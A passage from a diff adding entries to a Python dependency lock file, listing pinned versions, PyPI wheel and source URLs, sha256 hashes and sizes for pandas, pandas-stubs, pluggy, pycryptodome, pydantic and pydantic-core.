"sha256:2e3ebdb170b5ef78f19bfb71b0dc5dc58775032361fa188e814959b74d726dd5", size = 12121582, upload-time = "2025-09-29T23:30:43.391Z" }, + { url = "https://files.pythonhosted.org/packages/44/91/483de934193e12a3b1d6ae7c8645d083ff88dec75f46e827562f1e4b4da6/pandas-2.3.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:d051c0e065b94b7a3cea50eb1ec32e912cd96dba41647eb24104b6c6c14c5788", size = 12699963, upload-time = "2025-09-29T23:31:10.009Z" }, + { url = "https://files.pythonhosted.org/packages/70/44/5191d2e4026f86a2a109053e194d3ba7a31a2d10a9c2348368c63ed4e85a/pandas-2.3.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:3869faf4bd07b3b66a9f462417d0ca3a9df29a9f6abd5d0d0dbab15dac7abe87", size = 13202175, upload-time = "2025-09-29T23:31:59.173Z" }, +] + +[[package]] +name = "pandas-stubs" +version = "2.3.3.260113" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "numpy", version = "2.4.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "types-pytz" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/92/5d/be23854a73fda69f1dbdda7bc10fbd6f930bd1fa87aaec389f00c901c1e8/pandas_stubs-2.3.3.260113.tar.gz", hash = "sha256:076e3724bcaa73de78932b012ec64b3010463d377fa63116f4e6850643d93800", size = 116131, upload-time = "2026-01-13T22:30:16.704Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/c6/df1fe324248424f77b89371116dab5243db7f052c32cc9fe7442ad9c5f75/pandas_stubs-2.3.3.260113-py3-none-any.whl", hash = "sha256:ec070b5c576e1badf12544ae50385872f0631fc35d99d00dc598c2954ec564d3", size = 168246, upload-time = "2026-01-13T22:30:15.244Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pycryptodome" +version = "3.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/a6/8452177684d5e906854776276ddd34eca30d1b1e15aa1ee9cefc289a33f5/pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef", size = 4921276, upload-time = "2025-05-17T17:21:45.242Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/5d/bdb09489b63cd34a976cc9e2a8d938114f7a53a74d3dd4f125ffa49dce82/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4", size = 2495152, upload-time = "2025-05-17T17:20:20.833Z" }, + { url = "https://files.pythonhosted.org/packages/a7/ce/7840250ed4cc0039c433cd41715536f926d6e86ce84e904068eb3244b6a6/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae", size = 1639348, upload-time = "2025-05-17T17:20:23.171Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f0/991da24c55c1f688d6a3b5a11940567353f74590734ee4a64294834ae472/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477", size = 2184033, upload-time = "2025-05-17T17:20:25.424Z" }, + { url = "https://files.pythonhosted.org/packages/54/16/0e11882deddf00f68b68dd4e8e442ddc30641f31afeb2bc25588124ac8de/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7", size = 2270142, upload-time = "2025-05-17T17:20:27.808Z" }, + { url = "https://files.pythonhosted.org/packages/d5/fc/4347fea23a3f95ffb931f383ff28b3f7b1fe868739182cb76718c0da86a1/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446", size = 2309384, upload-time = "2025-05-17T17:20:30.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/d9/c5261780b69ce66d8cfab25d2797bd6e82ba0241804694cd48be41add5eb/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265", size = 2183237, upload-time = "2025-05-17T17:20:33.736Z" }, + { url = "https://files.pythonhosted.org/packages/5a/6f/3af2ffedd5cfa08c631f89452c6648c4d779e7772dfc388c77c920ca6bbf/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b", size = 2343898, upload-time = "2025-05-17T17:20:36.086Z" }, + { url = "https://files.pythonhosted.org/packages/9a/dc/9060d807039ee5de6e2f260f72f3d70ac213993a804f5e67e0a73a56dd2f/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:954af0e2bd7cea83ce72243b14e4fb518b18f0c1649b576d114973e2073b273d", size = 2269197, upload-time = "2025-05-17T17:20:38.414Z" }, + { url = "https://files.pythonhosted.org/packages/f9/34/e6c8ca177cb29dcc4967fef73f5de445912f93bd0343c9c33c8e5bf8cde8/pycryptodome-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:257bb3572c63ad8ba40b89f6fc9d63a2a628e9f9708d31ee26560925ebe0210a", size = 1768600, upload-time = "2025-05-17T17:20:40.688Z" }, + { url = "https://files.pythonhosted.org/packages/e4/1d/89756b8d7ff623ad0160f4539da571d1f594d21ee6d68be130a6eccb39a4/pycryptodome-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6501790c5b62a29fcb227bd6b62012181d886a767ce9ed03b303d1f22eb5c625", size = 1799740, upload-time = "2025-05-17T17:20:42.413Z" }, + { url = "https://files.pythonhosted.org/packages/5d/61/35a64f0feaea9fd07f0d91209e7be91726eb48c0f1bfc6720647194071e4/pycryptodome-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9a77627a330ab23ca43b48b130e202582e91cc69619947840ea4d2d1be21eb39", size = 1703685, upload-time = "2025-05-17T17:20:44.388Z" }, + { url = "https://files.pythonhosted.org/packages/db/6c/a1f71542c969912bb0e106f64f60a56cc1f0fabecf9396f45accbe63fa68/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:187058ab80b3281b1de11c2e6842a357a1f71b42cb1e15bce373f3d238135c27", size = 2495627, upload-time = "2025-05-17T17:20:47.139Z" }, + { url = "https://files.pythonhosted.org/packages/6e/4e/a066527e079fc5002390c8acdd3aca431e6ea0a50ffd7201551175b47323/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cfb5cd445280c5b0a4e6187a7ce8de5a07b5f3f897f235caa11f1f435f182843", size = 1640362, upload-time = "2025-05-17T17:20:50.392Z" }, + { url = "https://files.pythonhosted.org/packages/50/52/adaf4c8c100a8c49d2bd058e5b551f73dfd8cb89eb4911e25a0c469b6b4e/pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67bd81fcbe34f43ad9422ee8fd4843c8e7198dd88dd3d40e6de42ee65fbe1490", size = 2182625, upload-time = "2025-05-17T17:20:52.866Z" }, + { url = "https://files.pythonhosted.org/packages/5f/e9/a09476d436d0ff1402ac3867d933c61805ec2326c6ea557aeeac3825604e/pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8987bd3307a39bc03df5c8e0e3d8be0c4c3518b7f044b0f4c15d1aa78f52575", size = 2268954, upload-time = "2025-05-17T17:20:55.027Z" }, + { url = "https://files.pythonhosted.org/packages/f9/c5/ffe6474e0c551d54cab931918127c46d70cab8f114e0c2b5a3c071c2f484/pycryptodome-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa0698f65e5b570426fc31b8162ed4603b0c2841cbb9088e2b01641e3065915b", size = 2308534, upload-time = "2025-05-17T17:20:57.279Z" }, + { url = "https://files.pythonhosted.org/packages/18/28/e199677fc15ecf43010f2463fde4c1a53015d1fe95fb03bca2890836603a/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:53ecbafc2b55353edcebd64bf5da94a2a2cdf5090a6915bcca6eca6cc452585a", size = 2181853, upload-time = "2025-05-17T17:20:59.322Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ea/4fdb09f2165ce1365c9eaefef36625583371ee514db58dc9b65d3a255c4c/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:156df9667ad9f2ad26255926524e1c136d6664b741547deb0a86a9acf5ea631f", size = 2342465, upload-time = "2025-05-17T17:21:03.83Z" }, + { url = "https://files.pythonhosted.org/packages/22/82/6edc3fc42fe9284aead511394bac167693fb2b0e0395b28b8bedaa07ef04/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:dea827b4d55ee390dc89b2afe5927d4308a8b538ae91d9c6f7a5090f397af1aa", size = 2267414, upload-time = "2025-05-17T17:21:06.72Z" }, + { url = "https://files.pythonhosted.org/packages/59/fe/aae679b64363eb78326c7fdc9d06ec3de18bac68be4b612fc1fe8902693c/pycryptodome-3.23.0-cp37-abi3-win32.whl", hash = "sha256:507dbead45474b62b2bbe318eb1c4c8ee641077532067fec9c1aa82c31f84886", size = 1768484, upload-time = "2025-05-17T17:21:08.535Z" }, + { url = "https://files.pythonhosted.org/packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2", size = 1799636, upload-time = "2025-05-17T17:21:10.393Z" }, + { url = "https://files.pythonhosted.org/packages/18/3d/f9441a0d798bf2b1e645adc3265e55706aead1255ccdad3856dbdcffec14/pycryptodome-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:11eeeb6917903876f134b56ba11abe95c0b0fd5e3330def218083c7d98bbcb3c", size = 1703675, upload-time = "2025-05-17T17:21:13.146Z" }, + { url = "https://files.pythonhosted.org/packages/d9/12/e33935a0709c07de084d7d58d330ec3f4daf7910a18e77937affdb728452/pycryptodome-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ddb95b49df036ddd264a0ad246d1be5b672000f12d6961ea2c267083a5e19379", size = 1623886, upload-time = "2025-05-17T17:21:20.614Z" }, + { url = "https://files.pythonhosted.org/packages/22/0b/aa8f9419f25870889bebf0b26b223c6986652bdf071f000623df11212c90/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e95564beb8782abfd9e431c974e14563a794a4944c29d6d3b7b5ea042110b4", size = 1672151, upload-time = "2025-05-17T17:21:22.666Z" }, + { url = "https://files.pythonhosted.org/packages/d4/5e/63f5cbde2342b7f70a39e591dbe75d9809d6338ce0b07c10406f1a140cdc/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14e15c081e912c4b0d75632acd8382dfce45b258667aa3c67caf7a4d4c13f630", size = 1664461, upload-time = "2025-05-17T17:21:25.225Z" }, + { url = "https://files.pythonhosted.org/packages/d6/92/608fbdad566ebe499297a86aae5f2a5263818ceeecd16733006f1600403c/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7fc76bf273353dc7e5207d172b83f569540fc9a28d63171061c42e361d22353", size = 1702440, upload-time = "2025-05-17T17:21:27.991Z" }, + { url = "https://files.pythonhosted.org/packages/d1/92/2eadd1341abd2989cce2e2740b4423608ee2014acb8110438244ee97d7ff/pycryptodome-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:45c69ad715ca1a94f778215a11e66b7ff989d792a4d63b68dc586a1da1392ff5", size = 1803005, upload-time = "2025-05-17T17:21:31.37Z" }, +] + +[[package]] +name = "pydantic" +version = "2.12.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.41.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c6/90/32c9941e728d564b411d574d8ee0cf09b12ec978cb22b294995bae5549a5/pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146", size = 2107298, upload-time = "2025-11-04T13:39:04.116Z" }, + { url = "https://files.pythonhosted.org/packages/fb/a8/61c96a77fe28993d9a6fb0f4127e05430a267b235a124545d79fea46dd65/pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2", size = 1901475, upload-time = "2025-11-04T13:39:06.055Z" }, + { url = "https://files.pythonhosted.org/packages/5d/b6/338abf60225acc18cdc08b4faef592d0310923d19a87fba1faf05af5346e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97", size = 1918815, upload-time = "2025-11-04T13:39:10.41Z" }, + { url = "https://files.pythonhosted.org/packages/d1/1c/2ed0433e682983d8e8cba9c8d8ef274d4791ec6a6f24c58935b90e780e0a/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9", size = 2065567, upload-time = "2025-11-04T13:39:12.244Z" }, + { url = "https://files.pythonhosted.org/packages/b3/24/cf84974ee7d6eae06b9e63289b7b8f6549d416b5c199ca2d7ce13bbcf619/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52", size = 2230442, upload-time = "2025-11-04T13:39:13.962Z" }, + { url = "https://files.pythonhosted.org/packages/fd/21/4e287865504b3edc0136c89c9c09431be326168b1eb7841911cbc877a995/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941", size = 2350956, upload-time = "2025-11-04T13:39:15.889Z" }, + { url = "https://files.pythonhosted.org/packages/a8/76/7727ef2ffa4b62fcab916686a68a0426b9b790139720e1934e8ba797e238/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a", size = 2068253, upload-time = "2025-11-04T13:39:17.403Z" }, + { url = "https://files.pythonhosted.org/packages/d5/8c/a4abfc79604bcb4c748e18975c44f94f756f08fb04218d5cb87eb0d3a63e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c", size = 2177050, upload-time = "2025-11-04T13:39:19.351Z" }, + { url = "https://files.pythonhosted.org/packages/67/b1/de2e9a9a79b480f9cb0b6e8b6ba4c50b18d4e89852426364c66aa82bb7b3/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2", size = 2147178, upload-time = "2025-11-04T13:39:21Z" }, + { url = "https://files.pythonhosted.org/packages/16/c1/dfb33f837a47b20417500efaa0378adc6635b3c79e8369ff7a03c494b4ac/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556", size = 2341833, upload-time = "2025-11-04T13:39:22.606Z" }, + { url = "https://files.pythonhosted.org/packages/47/36/00f398642a0f4b815a9a558c4f1dca1b4020a7d49562807d7bc9ff279a6c/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49", size = 2321156, upload-time = "2025-11-04T13:39:25.843Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/cad3acd89fde2010807354d978725ae111ddf6d0ea46d1ea1775b5c1bd0c/pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba", size = 1989378, upload-time = "2025-11-04T13:39:27.92Z" }, + { url = "https://files.pythonhosted.org/packages/76/92/d338652464c6c367e5608e4488201702cd1cbb0f33f7b6a85a60fe5f3720/pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9", size = 2013622, upload-time = "2025-11-04T13:39:29.848Z" }, + { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" }, + { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" }, + { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" }, + { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" }, + { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" }, + { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" }, + { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" }, + { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" }, + { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" }, + { url = "https://files.pythonhosted.org/packages/fe/e6/8c9e81bb6dd7560e33b9053351c29f30c8194b72f2d6932888581f503482/pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b", size = 1987549, upload-time = "2025-11-04T13:39:51.842Z" }, + { url = "https://files.pythonhosted.org/packages/11/66/f14d1d978ea94d1bc21fc98fcf570f9542fe55bfcc40269d4e1a21c19bf7/pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe", size = 2011305, upload-time = "2025-11-04T13:39:53.485Z" }, + { url = "https://files.pythonhosted.org/packages/56/d8/0e271434e8efd03186c5386671328154ee349ff0354d83c74f5caaf096ed/pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f", size = 1972902, upload-time = "2025-11-04T13:39:56.488Z" }, + { url = "https://files.pythonhosted.org/packages/5f/5d/5f6c63eebb5afee93bcaae4ce9a898f3373ca23df3ccaef086d0233a35a7/pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7", size = 2110990, upload-time = "2025-11-04T13:39:58.079Z" }, + { url = "https://files.pythonhosted.org/packages/aa/32/9c2e8ccb57c01111e0fd091f236c7b371c1bccea0fa85247ac55b1e2b6b6/pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0", size = 1896003, upload-time = "2025-11-04T13:39:59.956Z" }, + { url = "https://files.pythonhosted.org/packages/68/b8/a01b53cb0e59139fbc9e4fda3e9724ede8de279097179be4ff31f1abb65a/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69", size = 1919200, upload-time = "2025-11-04T13:40:02.241Z" }, + { url = "https://files.pythonhosted.org/packages/38/de/8c36b5198a29bdaade07b5985e80a233a5ac27137846f3bc2d3b40a47360/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75", size = 2052578, upload-time = "2025-11-04T13:40:04.401Z" }, + { url = "https://files.pythonhosted.org/packages/00/b5/0e8e4b5b081eac6cb3dbb7e60a65907549a1ce035a724368c330112adfdd/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05", size = 2208504, upload-time = "2025-11-04T13:40:06.072Z" }, + { url = "https://files.pythonhosted.org/packages/77/56/87a61aad59c7c5b9dc8caad5a41a5545cba3810c3e828708b3d7404f6cef/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc", size = 2335816, upload-time = "2025-11-04T13:40:07.835Z" }, + { url = "https://files.pythonhosted.org/packages/0d/76/941cc9f73529988688a665a5c0ecff1112b3d95ab48f81db5f7606f522d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c", size = 2075366, upload-time = "2025-11-04T13:40:09.804Z" }, + { url = "https://files.pythonhosted.org/packages/d3/43/ebef01f69baa07a482844faaa0a591bad1ef129253ffd0cdaa9d8a7f72d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5", size = 2171698, upload-time = "2025-11-04T13:40:12.004Z" }, + { url = "https://files.pythonhosted.org/packages/b1/87/41f3202e4193e3bacfc2c065fab7706ebe81af46a83d3e27605029c1f5a6/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c", size = 2132603, upload-time = "2025-11-04T13:40:13.868Z" }, + { url = "https://files.pythonhosted.org/packages/49/7d/4c00df99cb12070b6bccdef4a195255e6020a550d572768d92cc54dba91a/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294", size = 2329591, upload-time = "2025-11-04T13:40:15.672Z" }, + { url = "https://files.pythonhosted.org/packages/cc/6a/ebf4b1d65d458f3cda6a7335d141305dfa19bdc61140a884d165a8a1bbc7/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1", size = 2319068, upload-time = "2025-11-04T13:40:17.532Z" }, + { url = "https://files.pythonhosted.org/packages/49/3b/774f2b5cd4192d5ab75870ce4381fd89cf218af999515baf07e7206753f0/pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d", size = 1985908, upload-time = "2025-11-04T13:40:19.309Z" }, + { url = 